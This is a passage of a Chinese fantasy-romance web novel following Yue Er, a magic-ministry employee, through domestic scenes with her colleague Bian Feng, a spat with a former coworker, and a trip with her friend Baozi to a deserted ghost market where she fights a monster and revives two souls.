越洱分出一个空餐盒,分出些牛肉片、无骨鸡肉,拿到水龙头下放温水冲淡调料,放到狗碗边。
“你别老馋人饭,多吃狗粮知道吗?”
待她坐回餐桌,见边锋才重新拿起筷子,不由一愣。
边锋道:“我懂你吧,边沁还说病人最好喝白粥,清淡是清淡,可恢复的力气都没了。”
越洱拈起一片牛肉,笑着说:
“太好了,喝白粥真的像没吃一样,我肯定忍不住加餐。不过你怎么知道?”
边锋道:
“上次吃火锅,发现你更喜欢肉,还有重口一些的。”
越洱微窘,不免去回忆是不是真吃了很多肉类,明显到第一次见面的边锋都能记得。
却听边锋道:“我也最喜欢吃肉,多吃点,补蛋白质才好得快。”
二人吃好,其实还剩不少,边收拾边聊起溜金抱一事。
空餐盒都扔掉,只是还有几个碗盘,刚才拿来盛汤粥、抄手的,这些要洗。
厨房水槽边,边锋挡开越洱要刷碗的手,说:“病号就别沾手了,你站旁边就行。”
越洱虚情假意客气道:“我怎么好意思让客人刷碗?”
边锋:“我看你好意思得很。”
越洱:“哈哈哈,其实完全好意思。”
水龙头打开,边锋利索刷起碗来。
越洱看着水流过他手腕的血管:
“乐奇和溜乐意醒了吗?部里打算怎么安置?”
“醒了,现在部里在讨论。中心医院的灵医劝乐奇早点去轮回,她不愿意。但是灵医说她魂魄很虚弱,再不去恐怕魂飞魄散。”
越洱想到调查报告里的一个细节:
“你注意到那个男鬼想要的东西吗?他和溜金抱交易,是为了拿部里博物馆的保魂器。”
边锋道:“他也是可怜,听说他已经游荡很多年,这世上没人记得他了,鬼界也等不来亲人,他才会来人间。”
越洱道:“……那他生前的亲人呢?”
“怪就怪在这儿,人间没人记得他,他感应到自己魂魄虚弱,以为亲友都死了。结果谁也没来。”
“部里怎么说?男鬼会有事吗?”
“不会吧,契约是他和溜金抱的私事,乐奇不追究,法力部也不好管。”
水流猛地增大,水花溅出来,越洱这才注意到边锋没穿围裙。她自己住,也经常随手就把碗洗了,懒得系围裙,可是边锋穿的白衣服。
越洱从挂钩上取下围裙,递给边锋:“还是穿一下吧,一会儿你衣服都湿了。”
边锋直起腰,一手还捏着盘子,他眨眨眼道:“那你帮我穿。”
说着,人已经走近一步,低头示意越洱给他套上围裙。<
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p>越洱把带子挂上他后颈:“你脖子好长啊,真羡慕。”
边锋抬头一笑,背过身去动动肩膀,道:
“这有什么用?”
越洱在背后伸手去够过围裙带子,双手经过边锋腰间,离得近,隐约闻到他衣服上清爽的香气。
这肩,这腰,啧。
越洱替他系上带子,道:
“好了,好看就是有用啊。”
边锋难得不接话,他回到水槽边,长腿劈开划向两边,降低高度配合水槽,耳朵尖红红的。
越洱本来看他害羞,很新奇想继续逗逗他,随即看他大扎开双腿,劈叉洗碗一样,瞬间沉默了。
“……”真的很有生活了。
*
“叮咚——”门铃又响了。
越洱奇怪道:
“今天怎么回事?”
正要去开门,边锋刚挂好围裙在擦手,他几步跨朝前,道:
“找我的找我的。”
“找你?”
门一打开,越洱从边锋背后,看见一个穿蓝色工作服的男人。
“先生,东西都搬好了,您确认一下,没问题就签个字。”
越洱上前,见对门那家房门大开,男人蓝色马褂上写着几个白字:蚂蚁搬家公司。
边锋低头看她,笑道:
“走吧,有没有兴趣看看我新家?”
“啊?”
*
搬家公司走后,越洱才开始好好看这间屋子。
布局和面积都和她租的那间差不多,只是……
“怎么搬这儿来了?你早问问我啊,这栋楼经常没热水!”
边锋本来笑呵呵跟着她转悠,听见这话,脸一下僵硬了:
"什么?!还经常?洗澡怎么办?"
越洱坏笑着拍拍他,道:
“浴缸放水,用‘热得快’ 。”
“……行吧。”
边锋找的搬家公司全程包办,不仅东西都搬过来,还给安置摆放好了。
边锋打开冰箱,取出两罐啤酒:
“一起喝点?”
随即他又一愣:
“啊对不起,太高兴,脑子一抽都忘记你是病号了。”
越洱凑过来:“有没有别的?”
边锋笑笑道:“红酒怕碎,都留给边沁了。”
越洱知道他们俩之前一起住,公寓还离法力部挺近,在市中心。
越洱摇头道:“不是,有没有其它饮料,我不喜欢啤酒这个味道。”
“是么?”边锋干脆把啤酒放了回去,“桃子汁怎么样?”
于是俩人拿了桃汁,坐到阳台躺椅上吹风。
边锋取来一条毯子和一顶针织帽,给越洱裹上。
这两天气温回暖,楼下的杏子树成片开花了,花瓣铺得小区石板路上一片粉白,顽皮的小孩常手痒摇树,让花瓣落下,仰脸去接。
“搬来这边,不嫌上班远吗?”越洱问。
边锋看她,笑道:“是很远,这不是有你吗?”
这话有歧义,越洱转过头不和他对视:“我可不带你飞哈,费法力得很。”
边锋道:“那我带你飞,谁让我年轻又法力强盛,啊哈哈~”
越洱正要翻白眼,不就小我三岁么,却听边锋话锋一转:
“所以鸟人老师带你飞回家,感觉怎么样?”
12.狠心的女人
越洱一愣,道:“羽毛很温暖啊,飞得挺快啊,还能怎么样?下次请他带你飞一圈试试。”
边锋却一下靠回躺椅,哼哼道:“天热了,那毛有什么好,别给我捂出热痱子来。”
那躺椅晃荡晃荡,很是大声。
越洱忍不住轻笑起来,问他:
“你不是恐高么,怎么现在不怕飞了?”
边锋道:“怕呀,不过别往下看就行。要是打起来或者逃跑么,就顾不上怕了。”
说起打架,越洱问:
“对了,揽月怎么样?”
边锋道:“揽月在武器保养仓养伤呢,组上不给它报销工伤,真是的。”
……武器真的能报工伤么?
“那怎么办?接下来你用什么?”
他笑眼弯弯:“当然是你保护我,你那么能打。你到底有几把钳子?”
越洱道:“三把,极限了,再多我也控制不了。”
“那你给它们起名字吗?为什么会选钳子当武器?我真是头回见。”
越洱笑道:“有啊,它们仨都叫牙牙。”
“牙牙?”
“嗯,就是我小时候牙疼,实在疼得受不住,左等右等那个乡医也不来。我阿公就拿一把胶把钳,夹住我的坏牙,手一抬,牙就拔下来了。”
她眼中流动着往昔的光影,仍是笑着说:
“后来我法力足够了,老师带我们去找铸剑师买武器,可是好贵呀,我只敢看看。晚上回来自己想过,要不直接拿家里菜刀当武器算了……不过有天情况危急,我不知怎么就化出来一把钳子,从此开始用钳子作武器了。”
边锋眉头一拧,问:“情况危急是什么情况?”
越洱却摇摇头,问他:“你的鞭子呢?怎么来的?”
“……”
见她转移话题,边锋也不再追问,回答说:
“揽月是我妈妈的武器,她死后我拿过来用了。”
“啊……对不起,我不知道……”
边锋笑笑,反而隔着小茶桌,伸手过来拍拍她肩膀,安慰似的:
“没事的,我已经接受,也习惯她不在了。”
越洱没说话,边锋就接着说:
“其实我最初的武器是一把弯刀来着,你见过的。”
“我见过么?”
边锋一手托腮,望着她道:
“你记得边沁的拳头吧?我的弯刀就融铸在里面,她那拳头当时融了不少好武器进去。”
越洱惊奇道:“好厉害!”
边锋笑:“是吧?边沁小时候就很厉害,大家都喜欢她,她还说自己不需要武器。直到……直到我父母走后,她才认真考虑怎么操控武器。”
越洱闻言垂下眼帘,望着夜幕下轮廓模糊的远山。
“刚开始边沁试了很多武器,都操控不好,我陪她练打,随随便便就能夺走她武器。她说很恨这种生死掌握在别人手中的感觉……”
边锋唇角微微勾起:“有一天,她走到我面前,给我展示拳头能化成金属,好怀念啊,那时候还是个小拳头,多可爱!现在么,砣大一个,我都怕她哪天打我。”
越洱突然说:“怎么妹妹皮肤这么白,你这么黑?”
边锋:“……黑不好吗?你好狠的心,刚刚夸我只夸到脖子是吧?”
越洱笑得仰躺在椅子上。
其实是很好的,配上边锋英俊中略带精致的五官,很有特色。
越洱回头瞄一眼墙上的挂钟,这只挂钟甚是好玩,是长方体的老式挂钟,像80年代的物件,上了发条就能自己走,吊着一个左右摇摆的铜片,每过一点钟就敲响一下。
“时间不早了,早点休息,迟到会扣钱哦。”
边锋却道:“我明天不上班。”
“怎么?你也请假啦?”
边锋点点头:“你请几天我就请几天,好照顾你,”他忽地凑近,问:“怎么样?我好还是鸟老师好?”
越洱本想站起来伸个懒腰,听这话,一愣:“……”
她收好毯子,摇摇头走向客厅。
边锋赶忙起身追来,拉她手腕摇来摇去:“你快说呀,你快说我什么都好!”
越洱无视他,抽出手腕继续走,自言自语道:“没救了,这孩子没救了……”
00:00
越洱家,边锋抱着浴巾,拎着装好洗漱用品的小篮子,笑眯眯站在门口。
又来了哥。
“我家没有热得快嘛,救救我。”
“……”
俩人干熬着等水烧开,一大缸水,一个小小的热得快。
越洱头一点一点,小狗窝在沙发上睡着了。
边锋良心发现,轻轻点一下越洱脸颊。
“你先去睡,一会儿我会拔电关门的。”
越洱虽下午才醒,却莫名困得不行,她点点头,从沙发上搁下腿,动脚尖去够拖鞋。
小狗随她动静一下醒了,跳起来“卟嘟卟嘟”旋狗头、甩耳朵。
一只手握上她脚踝,她一激灵,瞌睡都醒了。
边锋抓回她抽走的脚腕,握好替她穿上拖鞋,又拍拍柔软的鞋面,道:
“好了,去睡吧,别犯迷糊把自己摔了。”
越洱这下可不迷糊,她当即转身走向卧室,小狗也跳下沙发追随。
越洱动作一顿,回头说道:“要是实在热得慢,就明天来洗吧,反正你也不上班。”
说完没等边锋回应,她极为夸张地打了个大大哈欠,长长伸着懒腰,飞快飘进房间。
“啪”,房门关上。
边锋站在原地,目光不变,微微笑出了声。
*
放假第三天,越洱和边锋去法力部中心医院探望乐奇母女,却被灵医告知她俩在监护室不让见。
二人又去武器保养仓探望了揽月,并给指挥组办公的边沁带来一提层层叠叠的餐盒,每一层都装满了好吃的。
越洱从咖啡屋接完好友包子打来的问候电话,出门时,在走廊拐弯处碰到一个意想不到的人物。
那人见越洱,也是怔愣片刻,僵站在原地。
越洱敛了神思,漠然避开,贴着走廊右边走过。
走出一截,身后传来一阵高跟鞋敲击在瓷砖地面的散碎声音。
一个女声拔高:“越洱!你怎么能杀了他?你怎么下得去手?!”
越洱握着咖啡杯转身,眼前此人身量清瘦苗条,一双圆溜溜的眼睛,眼白很少、瞳孔极大,黑洞洞瞪着她。
罗成荒,又是招办前同事。
越洱心道,法力部捅了学校招生办老巢?全奔着这儿来了。
她一挑眉:“你哪位?对我司工作有意见,上报监察组去。”
见她转身就走,罗成荒嘲弄道:“
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一进来就搞死前领导,你很得意是吧?就这么想引人注目?”
越洱也懒得装了,嗤笑出声:“几年了,你还是这么爱当溜金抱的狗。”
“抓紧给溜金抱多烧些纸钱吧,”越洱冷笑道:“当心他晚上来你床头找你要衣服钱。”
罗成荒气急败坏:“你才是狗,你是想舔上去都没人理你!他怎么就不给你转衣服钱?一脚把你从招生办踹走!”
“哦?你那公爹那么牛,怎么你也被踹出来啦?”越洱一皱眉,一噘嘴,装佯道:“该不会是你公爹坐大牢了吧?”
“你!”罗成荒正要冲上前发作,越洱一泼,手上咖啡飞出半杯,罗成荒连连后腿,咖啡渍溅上脚面。
“啊,还是说你天天迟到早退不干人事,大脑简单四肢瘫废,只会给领导打伞,太过废物连你公爹也保不住你?”
“越洱你他妈!”她怒极反笑:“呵,出那烂招办有什么可惜;倒是这法力部,你拼老命面试,我一句话就进来,不费吹灰之力!”
“是么,要下雨了,快去看看哪位领导要撑伞的,别浪费你这身本领哟。”
罗成荒一听见“撑伞”二字,浑身都细细颤抖起来。
越洱笑着朝她眨眨眼,转身走了。
才走出一步,她脚步一顿,回头道:
“啊,差点忘了,上班起不来打卡么,整两颗手榴弹抱着睡,炸炸你那聋耳朵猪脑壳。”
说完,越洱摆摆手,真走了。
“越洱!你等着,有你哭的一天!”
越洱拉开走廊尽头的门,抿唇微笑着走了出去。
好啊,那天来之前,我会好好笑着。
*
走进休息区,边沁已经吃好正收拾餐盒。
两兄妹旁边,劳山风坐着。
劳山风见越洱走进来,抬手招呼道:“嗨,休息得怎么样?”
他指指脑袋:“头还疼吗?”
越洱道:“很好,没什么感觉。”
旋即坐在第四个小沙发上,说:“你在法力部还真是来去自由。”
劳山风展臂往后一搭,道:“害,这不是忙业务么。”
边锋忽地逮逮越洱衣袖,见越洱转头望他,才问道:
“你的咖啡呢?路上喝了?”
越洱笑着回答:“嗯,有人喝了。”
边锋歪歪头,正要再问,就见劳山风递来三张白色卡片。
“看看吧,需要法律援助找我哈。”
越洱接过一张来看,是名片,上面几个烫金字体:【助你高飞事务所】。
说着他又神叨叨靠近,做贼似的往三人手心塞了张黑色卡片。
竖起手掌悄声说:
“犯了事儿要逃跑也找我。”
在三人惊异的目光洗礼中,劳山风下巴一抬,得意洋洋。
竖起食指贴在嘴唇上,道:
“你们自己收好,别害我。”
边锋把两张卡片往外套内袋里一放,笑道:
“老兄,你还真是业务很广。”
“那当然,给你们友情价。”
越洱饶有兴味看着劳山风,这个人看上去也就15岁的样子,却能面试法力部,接通灵单。
现在好嘛,灰色地带也沾些。
突然听边沁问道:“你几岁来着?”
劳山风却道:“保密,反正比你大。”
13.纪妖局找包子
越洱和边锋对视一眼,边沁今年22岁,劳山风比她还大?
真看不出来。
随后再问,劳山风却不再透露半分,只反复唠叨叫他们几个收好名片。
他起身要走,咕嘟喝下一大口冰水,笑道:
“别忘了,收好,人生在世,说不好什么时候就用上了。”
那张黑色卡片上,烫金字体印着四个大字:
【助你匿迹】。
*
周三中午,越洱来到纪妖局找包子;越洱还在休假,包子则是今天下午就开始轮休。
纪妖局的办公楼是一个奇怪海螺形状,外墙通体用白色贝母打造,细细碎碎闪着些青色、粉色光泽,阳光下好看又刺眼。
越洱踏上贝母台阶,进门处是一道透明的水帘,越洱站在水帘下任由清凉水流冲刷,这是洗去来访者伪装的法术。
待水帘止住,她向前一步,身上丝毫未湿、未乱。
一条白蛇“嘶嘶”吐着信子滑来,滑到越洱脚下,陡然直立,冰冷竖瞳与越洱眼睛平齐。
越洱刹时浑身发毛,白蛇审视一番,缓缓降低蛇头,至越洱腰间停住。
越洱会意,连忙伸出手腕,拉高袖口。
白蛇蛇信子轻轻在她手腕上滑过一圈,越洱不由得微微捏紧拳头,以免自己失态抽手。
再看时,手腕间已刻上一道手链般的红字:来访6743925、通过、海螺二层104室。
白蛇已然落地退后,越洱点头道谢,包子已经迎出来。
“越洱!这边。”一个头发短到几乎贴头皮的高个儿女生,蹦蹦哒哒朝这边招手。
越洱一笑,也滴溜溜快步走过去。
“包子,之前不是想把头发养长吗?怎么又剪了?”
包子本名唤冷相宜(xiāng),她一双浅棕色杏眼,脸颊上铺撒着零星小雀斑。盘靓条顺,得此名号,是因生了一张可爱偏短的小脸,白白嫩嫩,玲珑剔透,好似刚出笼的白面蒸包。
何以不是馒头?
包子此人还有一个光辉事迹,初一那年,一贯难吃的食堂来了个神秘大厨,大厨只负责早餐、宵夜制作。
这位大厨经手菜肴样样好吃,尤其是一早的蒸包子,打开蒸笼不见面皮稍塌,莹白软乎,热气腾腾。咬一口,更是肉汁恰好,鲜香美味。
于是从大厨入驻第二日起,包子再也没有起床困难症状,亢奋如打了鸡血。宿舍门禁一开,就见门后一个姑娘呈蹲身助跑之姿,“咻”一下蹿出,惹得宿管大妈连连揉眼抚掌感叹:“此女前途不可限量、不可限量”。
又因大厨只做早餐、宵夜,而宵夜是没有蒸包子的,包子于是每早买八个,连买两年半。起晚赶不上的同学,纷纷怒骂这个“嗜包狂魔”,越洱一众也开始喊她“包子”、“包包”。
眼前,越洱、包子二人并肩走着,越洱还矮上半头。
包子摸摸头发,笑说:“不养了,洗头不值得浪费我五分钟以上。”
十二三年前初识时,包子就是这个发型,她父母一个是医生、一个是灵医,忙得不可开交。
包子于是跟在爷爷奶奶身边长大,上幼儿园别的小朋友天天梳好辫子,扎小马尾。包子是爷爷接送,爷爷图省事,干脆带小包子去剃了滑头。
包子也很觉得方便,从此她头发长度不会超过半指,这也为她初中早起抢跑食堂提供了极大优势。
越洱起初图新鲜,和包子相约早起飞奔食堂。于是每天旭日未东升,透过女生宿舍的铁栏双开门,就可以看见两个撅屁股半蹲的身影,此二人目光坚毅、直定前方,口中不住吸气、憋气、长呼,神色肃杀做着准备。
待一开门,便如铁笼开闸,野狗狂奔,两道影子“唰唰”掠过,好比黑白索饭鬼。
*
纪妖局,几道碧蓝色水柱拔地生起,通向穹顶,一个个海马样的工作人员含于水中,他们头似海马、尾似海马,身子却是人形。
匆匆而过,水柱随着海马人的步伐移动,始终不离身,包裹着一个个海马人。
一个双眼蒙着青灰色布条的小孩从越洱面前经过,他手提一个半人高的大袋子,鼓鼓囊囊,小手用力,指节青白。
那布条似乎一点也不影响他辨认方向,越洱看那袋子几乎沉甸甸坠地,忍不住开口道:
“小朋友,你……”
她想说你去哪儿我帮你提过去,就被包子捂了嘴。
那小孩停住,悠悠转过头,似乎是在分辨声音,他小脸蛋扬起来,对着越洱笑道:
“你要眼睛吗?”
说着划拉开大布袋,里面竟是满满当当装了眼珠子,这些眼珠还残连着血丝,滴溜溜转向越洱,似要飞来。
“哗”,袋口扭合,是包子迅速抢上前,一把拧紧布袋。
她笑眯眯对小孩说:
“目袋,食堂今天有芝士青团哦,再不去就抢完了。”
旋即包子把布袋好好放进小孩手心,小孩听她这么说,小步子急了起来,匆匆道:
“你,你慢点来,别跟我抢!”
见他走远,越洱才问:"咋啦?干嘛捂我嘴?"
包子松一口气,答道:“这孩子是目袋,搭话就会沾上厄运,你刚刚没说完,应该还好。”
越洱疑惑:“那你和他讲话怎么办?”
“我不会,相处久了就免疫了。”
“哇!好好玩!”越洱眼含笑意。
当初她二人相约来考纪妖局,包子本身就是妖怪研究专业毕业的,面试对答如流,再加上家里有灵医母亲,不仅可以给鬼神疗伤,还能为妖怪医治,自然是加分项。
除此之外,还有一类人有较大概率录取进纪妖局。
就是妖族或者妖族混血。
越洱那天面对纪妖局面试官头脑发昏,一问三不知,惨当炮灰,只好继续自己三界漂泊之路。
说起来仙门和天界的工作她还没干过,不晓得这辈子可不可能,听说法力部一些高层是能进天界工作的,不过很难很难。
正想着,就听包子问她:“你今天要进鬼市干嘛?”
越洱:“啊,我们部里这两天收了两只鬼,但是他们魂魄都要散了,我想去鬼市打听打听有没有什么法子保魂。”
“嗯?你直接问之前鬼界那几个同事不就好啦?”
“我也想过,但是他们一直没回消息,估计在忙吧。我亲自下去看看,过几天上班更没时间。”
包子笑道:“好呀,我也好几年没进过鬼市了,挺怀念。顺便我们有个妖
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同事去鬼市调查失踪了,虽然不是我的活儿,但万一走运碰到呢。”
二人说着,走进了纪妖局食堂。
食堂来来往往多为妖怪,热闹非凡,美食窗口更是色色俱全。
一个大蚌壳上的窗口在烤海鲜,滋滋啦啦冒出香气;一个窗口头上长了牛角,旋转的挂钩循环展示着麻辣牛肉、台上摆了各式小炒。
食堂桌子是放倒切半的树干,椅子是磨得圆滑的树桩,树桩底还长出一些青苔和幼嫩蕨菜。
不远处的树桩上,目袋坐着,他那口装满眼珠的大布袋就放在桌上,没人与他同桌。
他专心享用着眼前一碟三个的芝士青团,翠绿夹嫩黄,小勺轻轻切分,又颤巍巍盛起,小口小口抿着吃。
包子瞧见,大咧咧朝目袋喊道:“目袋,今天的青团地道吗?”
目袋闻言,小身板稍稍一滞,立即埋头苦吃,扔了勺子,左手一个、右手一个,急慌慌塞进嘴里,似有豺狼虎豹在追。
“哈哈哈哈,看来很地道嘛。”包子笑道。
越洱:“……”
这人,都快老了还天天抢小孩东西吃,看把孩子吓的。
二人边聊边吃,扫空六七个碗盘,这才悠悠走出食堂。
纪妖局位处法力部西南方,一出来是一个宽阔的广场,穿过广场,映入眼帘是一条长而宽的大路。
大路两旁栽下许多梧桐树,树龄都不小,树高遮天,郁郁葱葱。
沿着梧桐树的人行道,又商铺林立,尤其多特色餐厅和咖啡馆。
越洱、包子走在着这梧桐大道,暖阳被树叶、树枝切割遮蔽,只细细碎碎透下光斑。
仿若人在碧水间行走,阳光只是遥远的光晕。
包子正说:“哪怕轻微脑震荡也要注意,少看手机少熬夜,也少出来跑。”
越洱笑笑应答着,却不经心。
天天熬夜都熬惯了。
她微微仰头看树,一片梧桐叶子飘落她鼻尖,越洱赶紧抬下巴,尽力把脸放平,叫包子看。
她看向右边的落地窗,想看梧桐叶顶在鼻尖的样子。
落地窗倒映着重重碧影,越洱看见了自己和包子,看见梧桐叶滑落飘下坠地,看见边锋和一个姑娘坐在里间。
“啊,叶子掉啦!好可惜,我刚掏手机拍照,还没按快门呢。”
包子这么说,越洱直直望进落地窗,似是被勾了魂。
这个清静、幽暗的餐厅里,水灵的绿植承接天顶漏下的唯一光束。
绿植簇拥中,越洱看见边锋笑眯眯倾身,伸手在帮对面的女生擦嘴角。
纸巾轻轻抚过唇角,那姑娘脸颊还鼓鼓含着食物,一双眼眸波光流转,专注看着边锋。
“怎么?是你认识的人?”
一双手在越洱眼前挥挥,打断了她视线,越洱回过神来。
“啊,不是,我看这家餐厅装修很特别。”
越洱勉强定神,笑着回道。
包子抬头看看招牌:“绿荫里,这家好像挺好吃,只是要预约排队,下次我们提前约,去尝尝。”
越洱笑道:“好呀,到时候一起,我们走吧。”
她揽过包子胳膊,挽起就走,步子抑制不住快起来。
包子:“?”
14.鬼市好冷清
急冲冲走出一大截,越洱才放慢步子。
包子望她一眼,越洱方才走那么急切,眼神却没有焦点,似是神游天外。
她明白她现在不想说,于是箍着她搭在自己肘窝的手臂,笑盈盈开始给她讲目袋。
“诶,我跟你说,目袋这孩子还怕我抢他吃的,其实向来都是他抢我们的。”
“你看见他那袋眼珠子吧,他老爱带着不撒手,上回聚餐,他袋口松了,眼珠子咕碌碌跑出来几十颗!哇,那场面,眼珠子扑通扑通就往汤锅里跳啊!都不晓得排排队,我都不敢吃了……”
越洱脸上挂笑听着,时不时还“哈哈哈”应和包子。
心下却是一团乱麻,理也理不清。
她脑中反复回放着边锋温柔的笑,骨节分明的手,轻缓拂拭过那娇艳唇瓣一角。
还有那姑娘似含秋水的眼眸,颤动的睫毛。
淦!视力从没这么好过。
越洱只觉急躁,又恨自己怎么不能集中听眼前包子讲话,那些语句好像滑溜溜的玻璃珠,她听见脆响,但嘈嘈切切,接着玻璃珠纷纷从耳廓滑走,什么也听不真切。
她们转过梧桐大道,拐向一条烟火薰腾的小巷。
她忽而想到,搜巡荒地那天,也是那只漂亮修长的手……
又想起这几日,两人的相处。
原来,边锋真的对谁都是这般温柔可亲,这种体贴、照顾,仿佛来自他骨子里。
天然的,没区别的。
不是独独对她的……
她心中划来一小片阴霾,又闪过一些庆幸,或许是这三四年一个人孤独久了,才那么快竟生长出一丝好感。
其实她和边锋,细想也就认识了两周不到。
只不知为何,从一见面就好像相处得很舒服,越洱深知自己不是什么好相处的人,孤僻又敏感,可能多亏了边锋的好性子吧。
总之,以后还是回到自己一个人习惯的状态,保持距离,这样比较好。
比较好收住自己那点若有似无的心思。
理到这里,越洱终于轻呼出一口气,心神也稍能集中了。那根小小的刺,好像也顺利化为绵绵软钩,不去碰就不会钓得她疼。
她听到包子说:“鬼市入口怎么这么能跑。”
包子手上是一张摊开的羊皮纸地图,不仅标着“鬼市入口”,还有“妖界北大门”。
这是包子前年年会赢来的奖品,一些寻常地图不会出现的地名、活跃移动的场所,都能显现在这张地图上。
包子刚赢得地图那会儿,俩人还靠地图追踪,赶上一个隐秘的“翘屁嫩妖”舞会。
越洱附身去看,方才在纪妖局食堂吃饭时,“鬼市入口”这个小标还在这条巷子尽头。
现在,小标跳到工业园区那块了。
越洱思索片刻,提议道:“我们直接闪现过去吧,免得飞着飞着又跟丢了。”
包子一听,浅瞳微闪:“那感情好呀!”
闪现比飞行要烧好几倍法力,包子灵力微弱,无法单独完成闪现。俩人见面,又多是逛吃逛吃,很少有需要远距离快速移动的时候。
非说起来,越洱十多岁也没学会闪现,至多带她翻墙出去买炸串的时候,用法力托她一把。
所以包子很是期待传说中的“闪现”。
越洱叫她收好羊皮纸地图,朝她点点头,旋即,包子感到地下凉风直上,眼前一黑,整个人像被一只无形大手抓住胸口,呼地拖进黑暗里去了。
再出来时,又像降龙十八掌从后方猛击肺腑,哗啦一下,栽倒在地。
包子仍觉天旋地转,眼前晚空天高,越洱一张脸探过来。
“包子,没事吧?”
她伸手拉住她的手,一提就起来。
包子揉揉太阳穴,虚弱笑道:“你这闪现,推背力怪强的。”
越洱抚抚包子背,道:“第一次闪现就会这样,你缓缓。”
工业园区早已废旧,荒凉不已,只有几只乌鸦偶尔飞过,砸下一泡白屎。
二人展开地图,包子点点头:
“就在这儿了。”
越洱脚尖点点地面,化出一把钳子,大小控制在家常用的火钳一般。
“哇,你给牙牙换衣服啦。”
所谓衣服,是指胶把钳把手上的橡胶套。
越洱开始画法阵,那笨重铁钳在她手中好似轻飘飘枝条、圆规,旋转回还,上下翻飞。
越洱道:“嗯,换了,上次出任务打血尸,那血脏得难受。”
说着,一个阵法画好,一笔一弧,深深刻进地。
越洱跨进阵中,搭上包子手臂,“歘”地一下,周围景象皆被拉扯变形,失重感突袭,速度太快,反倒让人叫也叫不出来。
眼睛一闭一睁,鬼市就在眼前。
“怎、怎么回事?今天这么凄凉?”包子奇怪道。
以往沸沸扬扬、灯火通明的鬼市,多少人鬼神妖游晃其间,如今却是无一摊在摆。
灯火冲天的街道,也仅剩三两豆微光。
包子尾椎骨都发了凉,一把抓紧越洱手臂,使劲贴近:
“越洱,还找吗?这咋不像有鬼气的样子啊?啊,还不如到处是鬼……”
越洱也心里发毛,但毕竟来都来了。
她箍紧包子的手,夹在腰间,微扬下巴点点最近一豆灯光,道:
“来都来了,我们去问问那家店老板。”
二人已用结界隐去活人气息,便抬步往那昏暗店家走去。
“吱啦——”
还没跨上台阶,那雕镂红木门就突然自行打开。
房檐下挂着的红灯笼中,一豆灯火突熄。
越洱感到包子猛地扣紧自己手臂,指甲都掐进越洱肉里去,但还是克制着没叫喊出声。
越洱心道不妙,法力强灌进手中胶把钳,钳子瞬间跳动变大,黑暗中竟似有橘色光晕笼罩钳身。
越洱将包子微微拉向自己身侧后方,一手托出一个悬浮的小火苗,照亮近旁。
“呜哇!”包子惊叫出声,一张血盆大口从黑暗深处朝两人扑来,直至近处才被火光照见。
越洱快手出钳,一击直捅进喉咙,钳子夹住这张血盆大口深处小舌,坠着就向下猛拉扯。
越洱一把抛出手心火苗,火苗升空,忽地变成一大簇野火。
野火似乎在吞吃着无形的干柴,噼噼啪啪,烈烈燃烧。
火光照亮下方,越洱飞钳扯断大嘴小舌,血水中,周遭粉嫩肌肉似是疼得抽动。
可所见之景仍是大张的血盆之口,仿若进了谁的嘴。
包子退后几步,借着火光,见越洱冲进那血口之中,飞快竖起两把巨钳,分立
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左右,生生撑住了正要闭合的血口。
从她的角度看去,这血盆大口下竟有身躯,豆芽苗一样细瘦的身子,方才被大张的血口挡住。
这个怪物,好像……
好像一朵畸形的血肉喇叭花。
花萼处那一点点是身子,余下的全是那张血口。
越洱撑好两边,确保这嘴暂时合不拢,拍拍手倒退飞至包子身边。
见包子趁着火光在快速翻一本大词典般厚重的书。
“这什么东西?”越洱懒懒问道:“怎么也没啥攻击力,打一下就不动了。”
包子眼睛几乎凑在大厚书上飞快游动,一目千行般快速翻着纸张。
一小只卡其色乾坤袋耷拉在她脚边,越洱帮她捡起来,拍拍灰尘,塞回她衣裳右边口袋中。
包子只喃喃道:“怎么回事,怎么会找不到……”
那本巨厚无比的书已经翻过四分之三的样子,包子鼻尖都冒了虚汗。
“怎么会,怎么会?”
言毕,书“嗙”地使劲合上,嗖嗖缩小飞回包子右边衣袋中,不见了。
包子一脸虚脱,犹豫片刻,竟壮着胆子走近这个“血肉大喇叭”,细细观摩起来。
她口中还道:“越洱,帮我看着点哈,别叫我给它一口吃掉。”
越洱好笑,只说知道了,便上前与她一道慢慢转圈走着看。
忽然,那“大喇叭”披着红袍的细细身躯抽动一下,它脚还定在原地,身子却一扭一鼓,血盆大嘴的下唇塌在地上,也跟着抽动起来。
包子连忙拉越洱后退:“它是不是要来吃我们?”
越洱却歪着头好好盯了一番,道:“我怎么看它是要吐的样子?”
这抽抽鼓鼓,特像家里奶牛色小狗吃多了,蓄势要吐。
思及此,越洱脸一黑,抓着包子腰身,猛然倒退飞出老远。
包子被她抓到痒痒肉,嘎嘎抽气笑道:“别别!我痒痒肉!”
越洱放开她腰,道:“我们离远点,别吐到我们身上来了。”
那怪物浑身僵住,喉口翕动,“哇啦”一声,前倾着吐出一团半透明蓝膜珠子。
包子眯眼去望:“吐的什么呀?怎么看不清?”
越洱道:“妈呀,是魂魄。”
她飞身过去,眨眼就到近前,包子在后小跑追上。
待她气喘吁吁奔至越洱身边,道:“哈,哈,哈,累死我了,这逼班上得我两步也跑不得。”
越洱蹲身,手掌心悬在那团半透明蓝膜组成的东西上,一股灵流源源不断自她掌中流下,又被这魂魄匆匆吸收。
橘红色灵力强劲灌入,半透明蓝色魂魄不断增长、变大。
越洱慢慢随着魂魄起身、后退,给魂魄让出空间。
包子脑中突然闪过一个可怕想法:“等等!这魂魄分好坏么?你就这么直接猛救。”
越洱回头看她一眼,宽慰道:“别怕,这种样子的魂魄生前都是良善之人。”
“死后呢?”
“死后……也不变吧,要是变了就不是这颜色了。诶?你看,是两个魂魄!”
包子上前,只见那一团半透明魂魄已高至两人胸膛位置。
团抱的中央,有一条不规则蓝线,将魂魄一分为二。
看起来是两个人蜷缩着环抱住彼此。
15.保魂器与传说
同样是周三这天午后,边锋正在梧桐大道【绿荫里】餐厅吃饭,他慢条斯理嚼着牛肉,眼含笑意看着眼前的姑娘,那笑意却颇为复杂,不达眼底。
和煦春风吹进,姑娘抬眼瞧回去,眼神会说话般,水亮多情谊,仿佛在问:“为什么这样盯着我看?”
边锋笑笑,正要开口,他稍稍往椅背上一靠,端地是风流倜傥。
视线转换间,他忽地瞟到窗外一抹剪影。
那看起来是一对小情侣,手挽手走得很近,只是——其中那个女生怎么这么眼熟?
从背影看去,那女生及肩的短发,身穿做旧棕色的贴身短T,棕色牛仔喇叭裤,她走过绿意盎然的梧桐大道,好像这季节唯一一片枯黄的叶子,被风刮着从街道飘过。
边锋细细看了一会儿,高个儿男生牵着那一小片“枯叶”走远了。
到底是不是越洱啊?
他掏出手机给越洱弹去一条消息:今天在忙什么呀?
